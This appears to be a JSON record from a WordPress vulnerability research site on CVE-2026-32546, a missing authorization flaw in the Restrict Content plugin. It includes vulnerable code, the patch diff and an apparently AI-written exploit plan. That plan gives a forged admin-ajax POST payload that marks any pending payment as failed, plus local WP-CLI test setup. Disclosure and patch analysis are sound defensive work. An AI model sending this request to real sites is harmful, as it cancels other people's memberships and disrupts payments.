[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fpGzq_bK6c-gDxG4_8BIiIxLCTaj5f29-zFlMJgiNby0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-32546","membership-plugin-restrict-content-missing-authorization","Membership Plugin – Restrict Content \u003C= 3.2.22 - Missing Authorization","The Membership Plugin – Restrict Content plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.2.22. This makes it possible for unauthenticated attackers to perform an unauthorized action.","restrict-content",null,"\u003C=3.2.22","3.2.23","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-03-20 00:00:00","2026-03-27 19:44:43",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F26a7f3e9-de7b-43bd-8bb8-972b0df75324?source=api-prod",8,[22,23,24,25,26,27,28,29],"composer.json","core\u002Fincludes\u002Fclass-restrict-content.php","core\u002Fincludes\u002Fgateways\u002Fstripe\u002Ffunctions.php","core\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.js","core\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.min.js","core\u002Fincludes\u002Fscripts.php","lang\u002Frestrict-content.pot","legacy\u002Frestrictcontent.php","researched",false,3,"# Research Plan: CVE-2026-32546 - Missing Authorization in Restrict Content\n\n## 1. Vulnerability Summary\nThe **Membership Plugin – Restrict Content** plugin (versions \u003C= 3.2.22) contains a missing authorization vulnerability. Specifically, the AJAX action `rcp_stripe_handle_initial_payment_failure` (registered for both authenticated and unauthenticated users) lacks a capability check and ownership verification. This allows an unauthenticated attacker to transition the status of any payment record to \"failed\" and potentially disable associated pending memberships by providing a valid `payment_id`.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: POST\n- **Action**: `rcp_stripe_handle_initial_payment_failure` (inferred from `core\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.js`)\n- **Parameters**:\n  - `action`: `rcp_stripe_handle_initial_payment_failure`\n  - `payment_id`: The ID of the payment record to be marked as failed.\n  - `message`: A descriptive error message (e.g., \"Payment failed\").\n- **Authentication**: Unauthenticated (`wp_ajax_nopriv_` registration).\n- **Preconditions**: The Stripe gateway must be active, and at least one payment record (usually created during registration) must exist in the `wp_rcp_payments` database table.\n\n## 3. Code Flow\n1.  **Client-Side Trigger**: In `core\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.js`, the function `rcpStripeHandlePaymentFailure( payment_id, message )` is defined. It sends an AJAX POST request to `admin-ajax.php`.\n2.  **Request Payload**: The request includes `action`, `payment_id`, and `message`. Notably, **no nonce** is included in the `data` object of the `$.ajax` call in `register.js`:\n    ```javascript\n    $.ajax( {\n        type: 'post',\n        dataType: 'json',\n        url: rcp_script_options.ajaxurl,\n        data: {\n            action: 'rcp_stripe_handle_initial_payment_failure',\n            payment_id: payment_id,\n            message: message\n        },\n        success: function ( response ) { }\n    } );\n    ```\n3.  **Server-Side Handler**: The PHP handler for `rcp_stripe_handle_initial_payment_failure` (likely located in a Stripe gateway class or `admin-ajax-actions.php`) receives the `payment_id`.\n4.  **Processing (Vulnerable Sink)**: The handler retrieves the payment using the provided ID and updates its status to \"failed\" without verifying:\n    - If the current user has the authority to update payments.\n    - If the current session\u002Fuser actually owns the specific `payment_id`.\n\n## 4. Nonce Acquisition Strategy\nAnalysis of the source code in `core\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.js` reveals that the vulnerable AJAX action **does not require a nonce**. \n- The `$.ajax` call in `rcpStripeHandlePaymentFailure` omits any nonce parameter.\n- While `rcp_script_options` is used for the `ajaxurl`, there is no evidence in the registration scripts that a nonce is verified for this specific failure-handling action.\n- Therefore, the exploit can be performed **without obtaining a nonce**.\n\n## 5. Exploitation Strategy\nThe goal is to mark a \"pending\" payment as \"failed\" as an unauthenticated user.\n\n1.  **Step 1: Identify Target**: Determine a valid `payment_id`. For testing purposes, we will create a membership payment and retrieve its ID via WP-CLI.\n2.  **Step 2: Forge Request**: Send a POST request to `admin-ajax.php` with the vulnerable action.\n3.  **Step 3: Verification**: Use WP-CLI to confirm the status of the payment record has changed from `pending` to `failed`.\n\n### Payload\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application-x-www-form-urlencoded\n\naction=rcp_stripe_handle_initial_payment_failure&payment_id=[TARGET_ID]&message=Payment+timed+out\n```\n\n## 6. Test Data Setup\n1.  **Install and Activate**: Ensure `restrict-content` 3.2.22 is active.\n2.  **Create Membership Level**:\n    ```bash\n    wp rcp levels create --name=\"Gold\" --duration=1 --duration_unit=months --price=10\n    ```\n3.  **Create a Pending Payment**:\n    Restrict Content Pro creates a payment record when a user attempts to register. We can simulate this by inserting a record into the custom table (usually `wp_rcp_payments`).\n    ```bash\n    # Create a user to associate with the payment\n    wp user create victim victim@example.com --role=subscriber --user_pass=password\n    \n    # Insert a pending payment manually to simulate an interrupted Stripe session\n    # Note: Table names might vary; standard is wp_rcp_payments\n    wp db query \"INSERT INTO wp_rcp_payments (subscription, object_id, user_id, amount, status, date, gateway) VALUES ('Gold Membership', 1, $(wp user get victim --field=ID), '10.00', 'pending', NOW(), 'stripe');\"\n    ```\n4.  **Capture ID**:\n    ```bash\n    TARGET_ID=$(wp db query \"SELECT id FROM wp_rcp_payments ORDER BY id DESC LIMIT 1;\" --silent --skip-column-names)\n    echo \"Created Payment ID: $TARGET_ID\"\n    ```\n\n## 7. Expected Results\n- The HTTP response from `admin-ajax.php` should be a `200 OK` or a JSON success message (e.g., `{\"success\":true}`).\n- The payment record in the database should be updated.\n\n## 8. Verification Steps\nAfter sending the POST request, verify the payment status using WP-CLI:\n```bash\nwp db query \"SELECT status FROM wp_rcp_payments WHERE id = $TARGET_ID;\" --skip-column-names\n```\n**Success Condition**: The query returns `failed`.\n\n## 9. Alternative Approaches\nIf the `rcp_stripe_handle_initial_payment_failure` action is not present or patched:\n- **Dismiss Notices**: Check the `rcp_dismissed_nonce` localized in `core\u002Fincludes\u002Fscripts.php`. If the corresponding handler for notice dismissal lacks capability checks (even if it has a nonce), an attacker who can steal the nonce (exposed on the dashboard) can dismiss critical admin alerts.\n- **Batch Processing**: Investigate the `rcp_batch_nonce` handlers. While typically admin-only, if the authorization check is missing, it could allow triggering of expensive background tasks.\n\nHowever, the primary target remains the Stripe failure handler as it is explicitly intended for unauthenticated frontend use.","The Membership Plugin – Restrict Content plugin is vulnerable to unauthorized payment status modification via the rcp_stripe_handle_initial_payment_failure AJAX action. Unauthenticated attackers can mark any pending payment record as failed by providing its ID, leading to the cancellation of associated memberships and disruption of the payment process.","\u002F\u002F core\u002Fincludes\u002Fgateways\u002Fstripe\u002Ffunctions.php:792\nfunction rcp_stripe_handle_initial_payment_failure() {\n\n\t$payment_id = ! empty( $_POST['payment_id'] ) ? absint( $_POST['payment_id'] ) : 0;\n\n\tif ( empty( $payment_id ) ) {\n\t\twp_send_json_error( __( 'Missing payment ID.', 'rcp' ) );\n\t\texit;\n\t}\n\n\t\u002F**\n\t * @var RCP_Payments\n\t *\u002F\n\tglobal $rcp_payments_db;\n\n\t$payment = $rcp_payments_db->get_payment( $payment_id );\n\n\tif ( empty( $payment ) ) {\n\t\twp_send_json_error( __( 'Invalid payment.', 'rcp' ) );\n\t\texit;\n\t}\n\n\t$gateway = new RCP_Payment_Gateway_Stripe();\n\n\t\u002F\u002F Set some of the expected properties.\n\t$gateway->payment       = $payment;\n\t$gateway->user_id       = $payment->user_id;\n\t$gateway->membership    = rcp_get_membership( absint( $payment->membership_id ) );\n\t$gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( $_POST['message'] ) : __( 'Unknown error', 'rcp' );\n\n\tdo_action( 'rcp_registration_failed', $gateway );\n\n\t\u002F**\n\t * @var RCP_Membership_Gateway_Error\n\t *\u002F\n\t$error = new RCP_Membership_Gateway_Error( 'stripe_error', $gateway->error_message );\n\n\tdo_action( 'rcp_stripe_signup_payment_failed', $error, $gateway );\n\n\twp_send_json_success();\n\texit;\n\n}\n\n---\n\n\u002F\u002F core\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.js:18\nfunction rcpStripeHandlePaymentFailure( payment_id, message ) {\n\n\tlet $ = jQuery;\n\n\t$.ajax( {\n\t\ttype: 'post',\n\t\tdataType: 'json',\n\t\turl: rcp_script_options.ajaxurl,\n\t\tdata: {\n\t\t\taction: 'rcp_stripe_handle_initial_payment_failure',\n\t\t\tpayment_id: payment_id,\n\t\t\tmessage: message\n\t\t},\n\t\tsuccess: function ( response ) { }\n\t} );\n\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.22\u002Fcore\u002Fincludes\u002Fgateways\u002Fstripe\u002Ffunctions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.23\u002Fcore\u002Fincludes\u002Fgateways\u002Fstripe\u002Ffunctions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.22\u002Fcore\u002Fincludes\u002Fgateways\u002Fstripe\u002Ffunctions.php\t2026-01-12 21:19:50.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.23\u002Fcore\u002Fincludes\u002Fgateways\u002Fstripe\u002Ffunctions.php\t2026-02-25 21:55:04.000000000 +0000\n@@ -791,11 +791,16 @@\n  *\u002F\n function rcp_stripe_handle_initial_payment_failure() {\n \n-\t$payment_id = ! empty( $_POST['payment_id'] ) ? absint( $_POST['payment_id'] ) : 0;\n+\t\u002F\u002F Verify nonce for CSRF protection.\n+\t$nonce = isset( $_POST['nonce'] ) ? sanitize_text_field( wp_unslash( $_POST['nonce'] ) ) : '';\n+\tif ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'rcp_process_stripe_payment' ) ) {\n+\t\twp_send_json_error( __( 'Security verification failed.', 'rcp' ) );\n+\t}\n+\n+\t$payment_id = ! empty( $_POST['payment_id'] ) ? absint( wp_unslash( $_POST['payment_id'] ) ) : 0;\n \n \tif ( empty( $payment_id ) ) {\n \t\twp_send_json_error( __( 'Missing payment ID.', 'rcp' ) );\n-\t\texit;\n \t}\n \n \t\u002F**\n@@ -805,18 +810,48 @@\n \n \t$payment = $rcp_payments_db->get_payment( $payment_id );\n \n-\tif ( empty( $payment ) ) {\n+\tif ( empty( $payment ) || ! is_object( $payment ) ) {\n \t\twp_send_json_error( __( 'Invalid payment.', 'rcp' ) );\n-\t\texit;\n \t}\n \n+\t\u002F\u002F Security check: Verify user ownership of the payment.\n+\t$current_user_id = get_current_user_id();\n+\tif ( empty( $current_user_id ) || absint( $payment->user_id ) !== $current_user_id ) {\n+\t\twp_send_json_error( __( 'You do not have permission to perform this action.', 'rcp' ) );\n+\t}\n+\n+\t\u002F\u002F Only allow marking payments as failed if they are in pending status.\n+\tif ( 'pending' !== strtolower( $payment->status ) ) {\n+\t\twp_send_json_error( __( 'This payment cannot be marked as failed.', 'rcp' ) );\n+\t}\n+\n+\t\u002F\u002F Verify the membership belongs to the current user.\n+\tif ( ! empty( $payment->membership_id ) ) {\n+\t\t$membership = rcp_get_membership( absint( $payment->membership_id ) );\n+\t\tif ( empty( $membership ) || absint( $membership->get_customer()->get_user_id() ) !== $current_user_id ) {\n+\t\t\twp_send_json_error( __( 'You do not have permission to perform this action.', 'rcp' ) );\n+\t\t}\n+\t}\n+\n+\t\u002F**\n+\t * Fires before processing a payment failure.\n+\t *\n+\t * Can be used to implement additional security checks like rate limiting.\n+\t *\n+\t * @since 3.5.55\n+\t \n+\t * @param object $payment Payment object.\n+\t * @param int    $user_id Current user ID.\n+\t *\u002F\n+\tdo_action( 'rcp_before_stripe_handle_payment_failure', $payment, $current_user_id );\n+\n \t$gateway = new RCP_Payment_Gateway_Stripe();\n \n \t\u002F\u002F Set some of the expected properties.\n \t$gateway->payment       = $payment;\n \t$gateway->user_id       = $payment->user_id;\n \t$gateway->membership    = rcp_get_membership( absint( $payment->membership_id ) );\n-\t$gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( $_POST['message'] ) : __( 'Unknown error', 'rcp' );\n+\t$gateway->error_message = ! empty( $_POST['message'] ) ? sanitize_text_field( wp_unslash( $_POST['message'] ) ) : __( 'Unknown error', 'rcp' );\n \n \tdo_action( 'rcp_registration_failed', $gateway );\n \n@@ -830,7 +865,6 @@\n \tdo_action( 'rcp_stripe_signup_payment_failed', $error, $gateway );\n \n \twp_send_json_success();\n-\texit;\n \n }\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.22\u002Fcore\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.23\u002Fcore\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.22\u002Fcore\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.js\t2025-12-15 16:48:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Frestrict-content\u002F3.2.23\u002Fcore\u002Fincludes\u002Fgateways\u002Fstripe\u002Fjs\u002Fregister.js\t2026-02-25 21:55:04.000000000 +0000\n@@ -22,7 +22,8 @@\n \t\tdata: {\n \t\t\taction: 'rcp_stripe_handle_initial_payment_failure',\n \t\t\tpayment_id: payment_id,\n-\t\t\tmessage: message\n+\t\t\tmessage: message,\n+\t\t\tnonce: rcp_script_options.stripe_payment_nonce\n \t\t},\n \t\tsuccess: function ( response ) { }\n \t} );","To exploit this vulnerability, an attacker identifies a target payment ID in the WordPress database (e.g., a pending membership payment). The attacker then sends a POST request to the `\u002Fwp-admin\u002Fadmin-ajax.php` endpoint with the `action` parameter set to `rcp_stripe_handle_initial_payment_failure`, the target `payment_id`, and a dummy `message`. Because the plugin fails to verify nonces or check if the current user owns the payment record, the server processes the request and updates the payment's status to 'failed', effectively disabling the associated membership. This action requires no authentication as the AJAX action is registered for unauthenticated users.","gemini-3-flash-preview","2026-04-18 01:58:04","2026-04-18 01:58:48",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.2.22","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frestrict-content\u002Ftags\u002F3.2.22","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frestrict-content.3.2.22.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frestrict-content\u002Ftags\u002F3.2.23","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frestrict-content.3.2.23.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Frestrict-content\u002Ftags"]